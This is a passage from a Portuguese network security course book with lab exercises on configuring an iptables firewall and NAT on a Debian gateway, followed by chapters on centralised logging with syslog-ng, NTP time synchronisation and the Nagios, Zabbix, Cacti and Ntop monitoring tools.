Atividade 4 – Filtro de pacotes Nesta atividade, iremos configurar o controle de pacotes TCP/IP no host FWGW1, fazendo-o atuar como filtro de pacotes da rede. Tomaremos como padrão a topologia da Figura 3.8 e os serviços DMZ da Figura 3.9. A realização desta atividade é fundamental para a realização das demais atividades deste curso. A política de filtros de pacotes será a mais restritiva possível, permitindo somente as conexões previamente definidas no filtro de pacotes. Dessa forma, a regra padrão é negar todos os pacotes que chegarem, saírem e/ou atravessarem o firewall. A política de filtros de pacotes será a mais restritiva possível, de modo que somente as conexões previamente definidas deverão ser permitidas em nosso filtro de pacotes.

Capítulo 3 - Roteiro de Atividades

Figura 3.9 Serviços DMZ.

Servidor

73

A cada item a seguir, será preciso verificar a configuração com o auxílio dos seguintes comandos:

# iptables –L (Lista a configuração corrente de filtro de pacotes) # iptables –t nat –L (Lista a configuração corrente de NAT) # iptables –F (Apaga todas as regras existentes) # iptables –t nat –F (Apaga todas as regras de NAT) # apt-get install tcpdump # tcpdump (Vai auxiliar na verificação de pacotes chegando ao firewall)

Acesso ao firewall Configure no firewall acesso de gerência SSH e ICMP, somente para pacotes originados da estação de trabalho Windows XP, e teste o funcionamento das regras originando acessos dos servidores Linux e Windows 2008 ao firewall. Passo 1

No console do VirtualBox, acesse a máquina FWGW1. Entre com as credenciais de usuário root.

Passo 2

Edite o arquivo de configuração /etc/sysctl.conf, para habilitar o roteamento de pacotes do kernel do Linux; para isso retire o comentário da linha:

net.ipv4.ip_forward=1 Para ativar essa nova configuração sem a necessidade de reiniciar o host Linux, entre com o comando:

# sysctl –p Passo 3

Crie o arquivo de configuração /etc/iptables.up.rules com o editor de texto de sua preferência. Adicione as regras abaixo para deixar a política padrão do firewall o mais restritiva possível.

*filter :INPUT DROP :FORWARD DROP :OUTPUT ACCEPT COMMIT Passo 4

Aplique as regras do arquivo de configuração ao firewall da máquina com o seguinte comando:

# iptables-restore < /etc/iptables.up.rules

Segurança de Redes e Sistemas

Passo 5

74

Teste o funcionamento do firewall. Na máquina Windows XP realize o teste de ping no firewall, com o comando:

c:\> ping 10.1.G.1

w Para mais informações sobre a configuração do Netfilter no Debian, visite: http://wiki. debian.org/iptables.

Passo 6

Edite novamente o arquivo de configuração do firewall e adicione as regras que permitam o gerenciamento e o troubleshooting do firewall, permitindo acesso SSH e ping originados da máquina Windows XP:

# Permite todo tráfego loopback -A INPUT -i lo -j ACCEPT -A INPUT -i ! lo -d 127.0.0.0/8 -j REJECT

# permite manutenção do estado de conexões -A INPUT –m state –-state ESTABLISHED,RELATED –j ACCEPT

# Permite gerência via SSH -A INPUT -p tcp -s 10.1.G.10 --dport 22 –m state –-state NEW,ESTABLISHED -j ACCEPT

# Permite PING -A INPUT -p icmp -s 10.1.G.10 -m icmp -j ACCEPT Para aplicar a configuração atualizada no arquivo:

# iptables-restore < /etc/iptables.up.rules Para verificar as regras aplicadas no firewall:

Passo 7

Realize novamente o teste do Passo 6.

Passo 8

Acesse o firewall com o protocolo SSH a partir da máquina Windows XP utilizando o aplicativo Putty.

Capítulo 3 - Roteiro de Atividades

FWGW1-A:~# iptables -L -n

75

Acesso através do firewall da rede local à DMZ Configure no firewall permissão de acesso somente dos pacotes originados nas máquinas da rede local que atravessarão o firewall com destino aos serviços da DMZ descritos na Figura 3.9. Passo 1

A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. Entre com o usuário aluno e mude para acesso privilegiado utilizando: sudo su -

Passo 2

Edite o arquivo de configuração do firewall para permitir as regras de comunicação das máquinas da rede local com os serviços da DMZ. Adicione as seguintes regras: # Permite as conexões estabelecidas -A FORWARD -m state --state ESTABLISHED,RELATED –j ACCEPT # Acesso da Rede Local a DMZ

-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 80 -j ACCEPT -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 443 -j ACCEPT -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 21 -j ACCEPT -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 3389 -j ACCEPT -A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport 123 -j ACCEPT -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 80 -j ACCEPT -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 5432 -j ACCEPT -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 25 -j ACCEPT -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 110 -j ACCEPT -A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 22 -j ACCEPT -A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 53 -j ACCEPT -A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport 123 -j ACCEPT

Segurança de Redes e Sistemas

Passo 3

76

Aplique a nova configuração ao firewall com o comando:

# iptables-restore < /etc/iptables.up.rules Passo 4

Realize teste de conexão a partir da máquina Windows XP ao servidor web do LinServer.

Passo 5

Conecte via SSH utilizando o aplicativo Putty no LinServer.

Acesso através do firewall da DMZ à internet Configure no firewall permissão de acesso somente dos pacotes originados nos servidores da DMZ que atravessarão o firewall com destino à internet. Passo 1

A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. Entre com o usuário aluno e mude para acesso privilegiado utilizando: sudo su -

Passo 2

Edite o arquivo de configuração do firewall para permitir as regras de comunicação das máquinas da rede local com a internet. Exemplo:

# Acesso a internet da DMZ -A FORWARD -p tcp -s 172.16.G.0/24 -o eth0 -j ACCEPT -A FORWARD -p udp -s 172.16.G.0/24 -o eth0 -j ACCEPT Passo 3

Aplique a nova configuração no firewall com o comando:

# iptables-restore < /etc/iptables.up.rules Realize teste de conexão a partir da máquina da rede DMZ. Por exemplo: verifique se o servidor LinServer estabelece conexão no repositório do Debian, para saber se existem atualizações para os pacotes instalados no sistema, com o comando:

# apt-get check-update Observe que o acesso à internet ainda não será possível por ainda faltar a configuração da tradução de endereços (NAT).

Capítulo 3 - Roteiro de Atividades

Passo 4

77

Acesso através do firewall da internet à DMZ Configure no firewall permissão de acesso somente dos pacotes originados na internet, que atravessarão o firewall com destino aos serviços da DMZ descritos na Figura 3.9. Passo 1

A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. Entre com o usuário aluno e mude para acesso privilegiado utilizando: sudo su -

Passo 2

Edite o arquivo de configuração do firewall para permitir as regras de comunicação das máquinas da rede local com a internet. Exemplo:

# Acesso da Internet a DMZ -A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 80 -j ACCEPT -A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 443 -j ACCEPT -A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 21 -j ACCEPT -A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 3389 -j ACCEPT -A FORWARD -p udp -i eth0 -d 172.16.G.20/32 --dport 123 -j ACCEPT -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 80 -j ACCEPT -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 5432 -j ACCEPT -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 25 -j ACCEPT -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 110 -j ACCEPT -A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 22 -j ACCEPT -A FORWARD -p udp -i eth0 -d 172.16.G.10/32 --dport 53 -j ACCEPT -A FORWARD -p udp -i eth0 -d 172.16.G.10/32 --dport 123 -j ACCEPT Passo 3

Aplique a nova configuração no firewall com o comando:

Segurança de Redes e Sistemas

# iptables-restore < /etc/iptables.up.rules

78

Atividade 5 – Controle de NAT O principal objetivo desta atividade é demonstrar o entendimento do funcionamento dos tipos de NAT e aplicá-los em uma simulação de caso real. Utilizando os conceitos aprendidos, será necessário configurar o NAT no gateway FWGW1 para permitir o acesso à internet das máquinas da rede local e da DMZ. Também será necessária a configuração do NAT para publicação dos serviços da DMZ na internet. Qual tipo de NAT é necessário configurar em cada um dos casos?

1. Configure no firewall o tipo de NAT necessário para permitir o acesso dos servidores da

DMZ à internet. Passo 1

A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. Entre com o usuário aluno e mude para acesso privilegiado com o comando: sudo su Carregue o módulo de NAT:

# modprobe iptable_nat Passo 2

Edite o arquivo de configuração do firewall para permitir as regras de comunicação de NAT das máquinas da rede local à internet. No início do arquivo de configuração do firewall (/etc/iptables.up.rules), adicione as seguintes linhas:

*nat :PREROUTING ACCEPT :POSTROUTING ACCEPT :OUTPUT ACCEPT

# NAT de saída da rede DMZ para a internet -A POSTROUTING -s 172.16.G.0/24 -o eth0 -j MASQUERADE COMMIT Passo 3

Aplique a nova configuração ao firewall com o comando:

# iptables-restore < /etc/iptables.up.rules Realize teste de conexão a partir da máquina da rede DMZ: com o comando abaixo, verifique se o servidor LinServer estabelece conexão no repositório do Debian, para saber se existem atualizações para os pacotes instalados no sistema:

# apt-get update

Capítulo 3 - Roteiro de Atividades

Passo 4

79

2. Configure no firewall o tipo de NAT necessário para publicar os serviços do LinServer da

DMZ na internet. Passo 1

A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty. Entre com o usuário aluno e mude para acesso privilegiado utilizando: sudo su -

Passo 2

Edite o arquivo de configuração do firewall para permitir as regras de comunicação de NAT necessárias para publicar os serviços da DMZ na internet. # NAT de Entrada da Internet para o LinServer da DMZ

-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 172.16.G.10 -A PREROUTING -i eth0 -p tcp -m tcp --dport 5432 -j DNAT --to-destination 172.16.G.10 -A PREROUTING -i eth0 -p tcp -m tcp --dport 25 -j DNAT --to-destination 172.16.G.10 -A PREROUTING -i eth0 -p tcp -m tcp --dport 110 -j DNAT --to-destination 172.16.G.10 -A PREROUTING -i eth0 -p udp -m udp --dport 53 -j DNAT --to-destination 172.16.G.10 Passo 3

Aplique a nova configuração ao firewall com o comando:

# iptables-restore < /etc/iptables.up.rules Passo 4

Solicite a um colega de outro grupo para acessar os serviços disponíveis em sua DMZ; é necessário passar o endereço IP público da publicação dos serviços.

Atividade 6 – Gerenciamento gráfico do Firewall Builder Baixe da internet a última versão de demonstração de 30 dias do Firewall Builder. Instale o aplicativo no host Windows XP. Adicione o firewall FWGW1 como objeto e siga as orientações iniciais do instrutor para concluir as seguintes atividades: 11 Configure as regras de filtro de pacotes da atividade 1.1 e gere o arquivo de configuração. Compare a sintaxe com as atividades já realizadas. 11 Configure as regras de NAT já aprendidas nas atividades anteriores e gere o arquivo de configuração. Compare a sintaxe do arquivo gerado com as atividades já realizadas.

Atividade 7 – Identificando as regras do firewall As regras abaixo listadas são interessantes de serem utilizadas em um firewall com Iptables.

Segurança de Redes e Sistemas

Observe cada uma das regras abaixo e realize uma descrição sucinta do seu objetivo e uso.

80

-A INPUT –p tcp ! –syn –m state --state NEW –j DROP -A INPUT –f –j DROP -A INPUT –p tcp --tcp-flags ALL ALL –j DROP -A INPUT –p tcp --tcp-flags ALL NONE –j DROP -A INPUT –s 127.0.0.1 –i eth0 –j DROP -A INPUT ! –s 172.16.G.0/24 –i eth1 –j DROP

4 Apresentar os serviços fundamentais para buscar evidências de problemas nos sistemas computacionais em rede.

conceitos

Gerenciamento de logs, sincronismo de tempo e monitoramento de serviços.

Introdução Neste capítulo, serão apresentadas técnicas e tecnologias para o monitoramento de dispositivos e recursos de redes. Ao final, o aluno será capaz de compreender as técnicas e realizar a configuração de ferramentas de sincronismo de tempo, centralização de logs e monitoria de serviços. Este capítulo não tem o objetivo de instruir o aluno na instalação dessas ferramentas; para isso, recomendamos a consulta aos sites de cada ferramenta. Para a realização das atividades em laboratório, as ferramentas serão instaladas com foco no entendimento de seu funcionamento e configuração.

Exercício de nivelamento 1 e Serviços básicos de segurança O que você entende monitoramento dos recursos de redes?

O que são logs?

Gerenciamento de logs 11 Gerenciamento centralizado.

q

11 Requisitos de gerenciamento de logs. 11 Preservação dos registros em caso de falha do dispositivo. 11 Proteção contra sistemas ou usuários mal-intencionados. O uso de serviços de log centralizados é importante para o gerenciamento de falhas nos dispositivos e no gerenciamento da segurança com a preservação do registro de eventos em

Capítulo 4 - Serviços básicos de segurança

objetivos

Serviços básicos de segurança

81

casos de falhas de sistema ou comprometimento de algum dispositivo da rede. Cada organização possui requisitos diferentes de gerenciamento de logs, que determinarão o detalhamento dos logs coletados, por quanto tempo serão armazenados e como serão analisados. No gerenciamento de logs, o objetivo é concentrar em um sistema todos os eventos dos equipamentos da rede, softwares de segurança, sistemas operacionais e aplicativos. É necessário concentrar esforços para que esses dados não sejam comprometidos por sis-

d

temas mal-intencionados. Eles serão úteis na análise de incidentes de segurança ou falhas computacionais. Para isso é necessário que o servidor de logs esteja protegido por um sistema de controle de perímetro, já mencionado nas sessões anteriores. Também é necessária a realização de uma configuração segura do servidor, o que será visto adiante.

Syslog-ng

q

Source É como o syslog-ng vai receber as mensagens. Exemplo: Unix socks“/dev/log” ou outras fontes. Destination É para onde serão enviados ou guardados os logs recebidos pelo syslog-ng. Exemplo: arquivo local, rede, SGDB Oracle, MySQL etc. Log Paths No syslog-ng podem ser definidas várias origens e destinos. O objeto “global log” define o destino de cada origem ou de um conjunto delas. Filter Os filtros do syslog-ng incrementam a forma como serão realizados os caminhos dos logs: 11 Syslog-ng como agente. 11 Syslog-ng como servidor. O syslog-ng é uma ferramenta distribuída com a licença de software livre, muito utilizada

atualmente. É uma solução que, pela sua qualidade do código, permite a criação de um servidor de logs na rede para vários clientes. O syslog-ng é uma implementação do protocolo Syslog, definido pela RFC 5424 – The Syslog Protocol. Essa RFC define o protocolo e uma série de particularidades, incluindo a porta padrão do protocolo (UDP 514) e as facilidades e severidades. As facilidades são categorias que indicam a origem da mensagem. Através delas é possível separar os registros de log em arquivos separados, organizando melhor as informações. A lista a seguir apresenta todas as

Segurança de Redes e Sistemas

facilidades definidas na RFC, com seus respectivos códigos e siglas:

82

Código

Nome

Sigla

0

kernel messages

kern

1

user-level messages

user

2

mail system

mail

3

system daemons

daemon

4

security/authorization messages

auth

5

messages generated internally by syslogd

syslog

Saiba mais Para definir a estratégia de logs, recomendamos o artigo Guide to Computer Security Log Management, de Karen Kent e Murugiah Souppaya, do NIST (National Institute of Standarts and Technology).

Código

Nome

Sigla

6

line printer subsystem

lpr

7

network news subsystem

news

8

UUCP subsystem

uucp

9

clock daemon

cron

10

security/authorization messages

authpriv

11

FTP daemon

ftp

12

NTP subsystem

ntp

13

log audit

audit

14

log alert

alert

15

clock daemon

cron

16

local use 0

local0

17

local use 1

local1

18

local use 2

local2

19

local use 3

local3

20

local use 4

local4

21

local use 5

local5

22

local use 6

local6

23

local use 7

local7

Conforme já mencionado, além das facilidades, temos ainda as severidades, que indicam o nível de “profundidade” do registro de log correspondente. As severidades definidas no

Código

Descrição

Sigla

0

Emergency

emerg

1

Alert

alert

2

Critical

crit

3

Error

err

4

Warning

warning

5

Notice

notice

6

Informational

info

7

Debug

debug

Quando uma severidade 0 é definida no sistema, significa que apenas as mensagens emergenciais serão registradas. À medida que o código da severidade vai aumentando, temos mais detalhes do sistema e por consequência a quantidade dos registros aumenta

Capítulo 4 - Firewall – Conceitos e Implementação

padrão estão na tabela abaixo:

83

até a severidade 7, onde todas as ações são registradas. A severidade 7 é útil no auxílio de resolução de problemas, como quando um determinado sistema não está se comportando como se espera. O syslog-ng é suportado por ambientes heterogêneos, podendo ser configurado em máquinas Linux, BSD e Unix como agente e servidor. Quando o syslog-ng é utilizado como agente ou servidor, é possível que as mensagens sejam transmitidas de forma criptografada na rede. É possível também sua configuração em sistemas MS Windows, mas somente como agente. O syslog-ng é configurado editando o arquivo de configuração “syslog-ng.conf”.

q

O conceito da configuração do syslog-ng é definir os objetos globais, que são: 11 Source: é como o syslog-ng vai receber as mensagens; como agente, ele pode receber os logs do sistema do arquivo especial do Unix socks “/dev/log” ou outras fontes. 11 Destination: é para aonde serão enviados ou guardados os logs recebidos pelo syslog-ng; o destino pode ser um arquivo local, um servidor de Syslog na rede ou até mesmo um servidor de banco de dados Oracle, MySQL, Microsoft SQL Server ou outros destinos. 11 Log Paths: no syslog-ng podem ser definidas várias origens e destinos; o objeto “global log” define o destino de cada origem ou de um conjunto delas. 11 Filter: os filtros do syslog-ng incrementam a forma como serão realizados os caminhos dos logs; assim, uma origem ou um grupo de origens não precisa necessariamente ser encaminhado para um destino ou um grupo de destinos, sendo possível filtrar cada tipo de mensagem de origem e com base nesse filtro escolher o destino. O fluxo do syslog-ng é ter uma origem ou um conjunto delas, um filtro e um destino ou um conjunto deles, conforme ilustra a próxima figura.

Destino 1

Origem 1

Origem 2

Filtro

Origem n

Destino 2

Destino n

Segurança de Redes e Sistemas

Syslog-ng como agente

84

Se, por exemplo, em um servidor Linux desejamos enviar todas as mensagens do sistema e do próprio syslog-ng para um servidor syslog-ng da rede configurada com o endereço IP 10.20.30.2 na porta UDP 514, teremos a seguinte sintaxe para o arquivo de configuração “syslog-ng.conf”:

source s_local { unix-stream(“/dev/log”); internal(); }; destination d_syslog-server {udp(“10.20.30.2” port(514)); }; log { source(s_local); destination(d_syslog-server); };

Figura 4.1 Fluxo syslog-ng.

q

Syslog-ng como servidor Neste exemplo, teremos a sintaxe do arquivo de configuração do servidor syslog-ng

q

para receber as mensagens dos agentes. Dessa forma, o servidor está configurado para receber as mensagens de syslog na porta UDP 514 e armazenar no arquivo do cliente específico do diretório “/var/log/agente.log”, onde o termo agente será substituído pelo hostname do agente:

source s_rede { udp(ip(10.20.30.2 port(514)); }; destination d_hosts-file {file(“/var/log/$HOSTS.log“); }; log { source(s_rede); destination(d_hosts-file); }; As facilidades podem ser configuradas no syslog-ng através dos filtros, como no exemplo de configuração abaixo:

filter f_cron { facility(cron); }; log { source(s_local); filter (f_cron); destination (d_net); }; As severidades podem ser configuradas conforme o exemplo abaixo:

filter f_debug

{ level(debug); };

filter f_at_least_info { level(info..emerg); };

No exemplo anterior, verifica-se que pode ser criado um filtro contendo mais de uma severidade.

Exercício de fixação 1 e Gerenciamento de logs Explique os objetivos do gerenciamento de logs.

Exercício de fixação 2 e Syslog

Logs do Windows Os logs centralizados possibilitam a análise de correlação de logs 11 http://www.syslog.org/wiki/Main/LogAnalyzers 11 http://www.ossec.net/ WinLogd é um sistema capaz de capturar os logs do Microsoft Windows e enviá-los para o sistema de syslog Unix, como o syslog-ngUma vantagem importante da centralização de logs é a possibilidade de analisar a correlação entre eles, de modo a confrontar logs de diferentes origens e chegar a conclusões interessantes sobre o funcionamento da rede.

q

Capítulo 4 - Firewall – Conceitos e Implementação

O que é um syslog-ng?

85

w

Outra questão importante a ser considerada é o registro de logs em sistemas Windows. Infelizmente, o padrão Syslog é um padrão Unix, de modo que os sistemas Windows não o utilizam de forma nativa. Dessa forma, não é possível, utilizando apenas os recursos do sistema operacional, redirecionar os registros de log gerados por um sistema Windows para o syslog-ng, como foi feito antes para sistemas Unix. Apesar disso, existem algumas ferramentas que permitem a compatibilidade entre o sistema de logs do Windows e o syslog-ng. Uma ferramenta simples e gratuita é o Winlogd: 1. Baixe o winlogd.exe no site indicado e copie para o diretório system32, dentro do diretório

de instalação do Windows. 2. Execute winlogd –i para fazer a instalação como um serviço do Windows. 3. Configure o winlogd para enviar os logs para o servidor do syslog-ng, utilizando o registro

do Windows (regedit). Os parâmetros são os seguintes (observe que 202 em hexadecimal equivale a 514 em decimal e que o parâmetro Server deve ser alterado para o endereço IP do servidor syslog-ng): 3.1. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\winlogd\Parameters] 3.2. “Facility”=”local3”

/* string para facilitar a identificação da origem dos logs no

servidor central */ 3.3. “Port”=dword:00000202

/* porta UDP, que será utilizada para envio dos logs: 514

é a porta padrão do syslog */ 3.4. “Server”=”192.168.42.7”

/* /* endereço do servidor/local para aonde serão

enviados os logs */ 4. Inicie o serviço com o comando net start winlogd. 5. Configure o syslog-ng para receber os logs. Exemplo de configuração:

source s_net { udp(ip(192.168.42.2) port(514)); }; filter f_winlogd { facility(local3); }; destination d_winlogd { file(“/var/log/winlogd”); }; log { source(s_net); filter(f_winlogd); destination(d_winlogd); } Qualquer mudança de configuração no winlogd para se tornar efetiva deve ser precedida do reinício do serviço, que pode ser feito com os seguintes comandos:

net stop winlogd

Segurança de Redes e Sistemas

net start winlogd

86

Plugins NTP: 11 NTPD 11 NetTime O NTP pode ser configurado como servidor ou cliente. É um protocolo para sincronização dos relógios dos computadores, baseado em uma fonte confiável: os relógios atômicos do Observatório Nacional, que definem a hora legal brasileira. Site do NTP: www.ntp.org.

q

Para indicações de analisadores de log: http://www.syslog.org/ wiki .Um analisador e correlacionador de logs utilizado pela comunidade de segurança é o OSSEC.

O site armazena o projeto NTP, que desenvolve uma ferramenta de sincronização de relógios para computadores Linux, Unix, VMS e Windows. O NTP pode ser configurado como servidor, como cliente e/ou as duas funcionalidades ao mesmo tempo. Assim, podemos buscar uma fonte de relógio externa, se assim desejarmos, e redistribuir essa fonte de hora confiável para a configuração dos relógios das máquinas da rede interna. A configuração do NTP ocorre com a edição do arquivo ntp.conf, localizado normalmente em /etc/ntp.conf nos servidores Unix. Segue um exemplo de configuração do NTP utilizando como referência os relógios do Comitê Gestor da Internet do Brasil (CGI.br):

# “memória” para o escorregamento de frequência do micro # pode ser necessário criar esse arquivo manualmente com # o comando touch ntp.drift driftfile /etc/ntp.drift

# estatísticas do ntp que permitem verificar o histórico # de funcionamento e gerar gráficos statsdir /var/log/ntpstats/ statistics loopstats peerstats clockstats filegen loopstats file loopstats type day enable filegen peerstats file peerstats type day enable filegen clockstats file clockstats type day enable

# servidores públicos do projeto ntp.br server a.ntp.br iburst server b.ntp.br iburst

# outros servidores # server outro-servidor.dominio.br iburst

# configurações de restrição de acesso restrict default kod notrap nomodify nopeer

Para iniciar o NTP pela primeira vez, utilize o comando: # ntpd –q –g

Capítulo 4 - Firewall – Conceitos e Implementação

server c.ntp.br iburst

87

Dessa forma, o NTP será forçado a sincronizar o relógio local da máquina, mesmo que ele esteja com diferença superior a 16 minutos do servidor NTP da rede. Após iniciar o NTP, você pode deixá-lo rodando na máquina como deamon, com o seguinte comando:

# ntpd Para consultar o estado do aplicativo NTP, utilize o seguinte comando:

# ntpq -c pe remote

refid

st t

when

poll

reach

delay

offset

jitter

========================================================================== *b.ntp.br

200.20.186.76

2 u

-

64

1

34.838

-32.439

29.778

c.ntp.br

200.20.186.76

2 u

1

64

1

9.252

-33.407

4.105

#

A saída do comando inclui as seguintes informações: 11 remote: nome ou IP da fonte de tempo. 11 refid: identificação da referência (par do sistema) a qual o servidor de tempo remoto está sincronizado. 11 st: o estrato da fonte de tempo. 11 when: quantos segundos se passaram desde a última consulta a essa fonte de tempo. 11 poll: intervalo em segundos de cada consulta a essa fonte. 11 reach: registrador de 8 bits, que vai girando para a esquerda, representado na forma octal, que mostra o resultado das últimas 8 consultas à fonte de tempo: 377 = 11.111.111 significa que todas as consultas foram bem-sucedidas; outros números indicam falhas; 375 = 11.111.101, por exemplo, indica que a penúltima consulta falhou. 11 delay: tempo de ida e volta, em milissegundos, dos pacotes até essa fonte de tempo. 11 offset: deslocamento, ou quanto o relógio local tem de ser adiantado ou atrasado (em milissegundos) para ficar igual ao da fonte de tempo. 11 jitter: a variação, em milissegundos, entre as diferentes medidas de deslocamento para essa fonte de tempo.

Exercício de fixação 3 e Logs do Windows

Segurança de Redes e Sistemas

Explique como funciona o log no Windows?

88

Exercício de fixação 4 e NTP O que é um NTP?

Monitoramento de serviços As ferramentas de monitoramento são um subconjunto do universo de ferramentas

q

de gerenciamento que estão focadas em obter informações sobre elementos de infraestrutura de TI. Entre as ferramentas de monitoramento, destacamos algumas com o código-fonte aberto e distribuído sob a licença GNU GPL.

Nagios O Nagios é uma ferramenta de gerenciamento que monitora os elementos e serviços

q

de rede. Os dados são coletados através de testes que simulam o funcionamento de aplicações como: File Transfer Protocol (FTP); Secure Shell (SSH); Hypertext Transfer Protocol (HTTP); Simple Mail Transfer Protocol (SMTP); Post Office Protocol version 3 (POP3); Network Time Protocol (NTP); Internet Control Message Protocol (ICMP); ou através de plugins adicionais que podem ser desenvolvidos e integrados ao Nagios. Diversos plugins estão disponíveis na internet e podem ser utilizados pelo administrador para testes mais completos. A interatividade com o administrador baseia-se no envio de mensagem eletrônica, alerta no console e mensagem SMS para celulares sobre o problema ocorrido. O grande destaque dessa ferramenta é a possibilidade de classificação de grupos de usuários para receber relatórios e alertas do sistema. Por exemplo, o problema de um determinado servidor pode ser comunicado ao responsável pelo serviço, bem como para uma equipe responsável pelos equipamentos ou ativos de rede. Toda a sua configuração é realizada em arquivos de texto e, a interface com o usuário, realizada em um console web. É possível obter relatórios de disponibilidade e planejar ações corretivas para os problemas ocorridos em equipamentos da rede. A figura a seguir apresenta a tela principal do Nagios, onde se pode ter uma visão abrangente do estado dos servidores que estão sendo monitorados pela ferramenta.

Capítulo 4 - Firewall – Conceitos e Implementação

Figura 4.2 Sumário dos eventos do Nagios.

89

Existe ainda o projeto Fully Automated Nagios (FAN), que tem por objetivo prover uma instalação facilitada do Nagios e ferramentas auxiliares providas pela comunidade. O projeto FAN disponibiliza inclusive uma imagem em CD-ROM (ISO), que facilita a instalação de um servidor Nagios.

Zabbix O Zabbix é uma ferramenta de gerenciamento que monitora os elementos e serviços

q

de rede. Os dados são coletados através de consultas ao SNMP (Simple Network Management Protocol), de ferramentas de testes que simulam o funcionamento das aplicações FTP (File Transfer Protocol), SSH (Secure Shell), HTTP (Hypertext Transfer Protocol) ou através de plugins adicionais que podem ser desenvolvidos e integrados ao Zabbix. Todos os dados coletados pelo Zabbix são armazenados em uma base de dados SQL (Structured Query Language), permitindo a geração de relatórios pré-definidos e personalizados, e ainda a utilização de ferramentas especializadas para gerar relatórios. Entre os relatórios padrão gerados pelo Zabbix, temos os relatórios de disponibilidade, de nível de serviços, de tráfego de rede e de utilização de recursos, como CPU (Central Processing Unit) e memória. Toda a configuração do Zabbix é realizada através de uma interface web clara e amigável. Os alarmes são emitidos no console web do usuário, via recursos de áudio, mensagens eletrônicas e/ou envio de SMS (Short Message Service) para aparelhos celulares. O Zabbix permite a geração de gráficos on-line e oferece ao administrador a possibilidade de criar mapas personalizados da rede. A seguir imagem de uma tela de monitoramento do Zabbix.

Segurança de Redes e Sistemas

Figura 4.3 Tela de monitoramento do Zabbix.

90

Cacti Ferramenta de monitoração criada por Ian Berry. Surgiu como uma opção de frontend

q

(interface gráfica com o usuário para interagir com programas) que apresenta os gráficos dos dados obtidos através de consultas SNMP ou de scripts. Esses dados são armazenados pelo Round-Robin Database Tool (RRDTool).

Round-Robin Database Tool Software que armazena e mostra dados em série obtidos em um determinado período de tempo.

Figura 4.4 Configuração do Cacti.

O Cacti disponibiliza um ambiente de configuração e operação agradável e acessível (interface web escrita em PHP), com controle de acesso por nível de usuário. As informações de configuração são armazenadas em um banco de dados SQL. Sua arquitetura prevê a possibilidade de expansão através de plugins, que adicionam novas funcionalidades, tornando-o ainda mais completo. O Cacti é muito usado em monitoramento de links WAN, por conta da sua facilidade na criação de gráficos para monitorar a banda nos links contratados por operadoras. Apesar dessa funcionalidade importante, o Cacti pode ainda monitorar uma série de parâmetros importantes, como consumo de CPU, memória e espaço em disco, entre outros. A sua capacidade de apresentar os dados de maneira gráfica o torna um excelente

Figura 4.5 Exemplos de gráficos Cacti.

Capítulo 4 - Firewall – Conceitos e Implementação

complemento para o Nagios na tarefa de monitoramento.

91

Existe ainda uma versão facilitada, que oferece uma distribuição Linux com o Cacti pré-instalado. Ela se chama CactiEZ e é uma boa opção para iniciantes que querem começar rapidamente a utilização da ferramenta.

Ntop O Network Traffic Probe (Ntop) é uma ferramenta livre para análise de tráfego de rede.

q

Possui um servidor HTTP (Hypertext Transfer Protocol) e HTTPS (Hypertext Transfer Protocol Secure) nativo, que apresenta uma série de gráficos do tráfego e estatísticas da rede. Possui ainda um modo interativo no console de texto. Principais objetivos: 11 Monitoramento e medida do tráfego. 11 Planejamento e personalização da rede. 11 Detecção de violações na segurança. Com desenvolvimento iniciado em 1998 por Luca Deri, o Ntop opera nas plataformas Unix (incluindo Linux, BSD, Solaris e MacOSX) e Microsoft Windows. A coleta de informações é feita através da análise do tráfego das informações que passam pelas interfaces da rede local. Principais características: 11 Suporte ao Cisco NetFlow/sFlow. 11 Identificação de sub-redes e seus usuários. 11 Suporte ao WAP (Wireless Application Protocol). 11 Ordenação de tráfego. A figura seguinte mostra a estrutura funcional do Ntop, seus módulos e os itens que completam a ferramenta: 11 Servidor web (HTPS/HTTPS). 11 Banco de dados (ODBC SQL). 11 Protocolos (UDP/SNMP).

Máquina de relatório (servidor web)

Plugins (banco de dados)

Analisador de pacote

Regras de tráfego (SNMP) Investigador do pacote Figura 4.6 Arquitetura do Ntop.

Cabo Ethernet

Segurança de Redes e Sistemas

Avaliação das ferramentas

92

As ferramentas apresentadas podem ser classificadas em três grupos: 11 Ferramentas de monitoração de serviços, como Nagios e Zabbix.Ferramentas especializadas na geração de gráficos, como Cacti e Zabbix.Ferramentas de classificação de tráfego, como Ntop . O Zabbix é uma ferramenta com algumas características que permitem que ela seja classificada também como ferramenta especializada na geração de gráficos, ainda que estes gráficos possuam menos recursos funcionais que os gráficos do Cacti.

q

Quase todas as ferramentas mencionadas são fáceis de instalar. A configuração do Nagios é complexa por exigir a manipulação de vários arquivos de texto. As demais ferramentas possuem interface web para configuração, estando bem documentadas e com vários artigos de referência publicados na internet. Nagios

Zabbix

Cacti

Ntop

Open Source

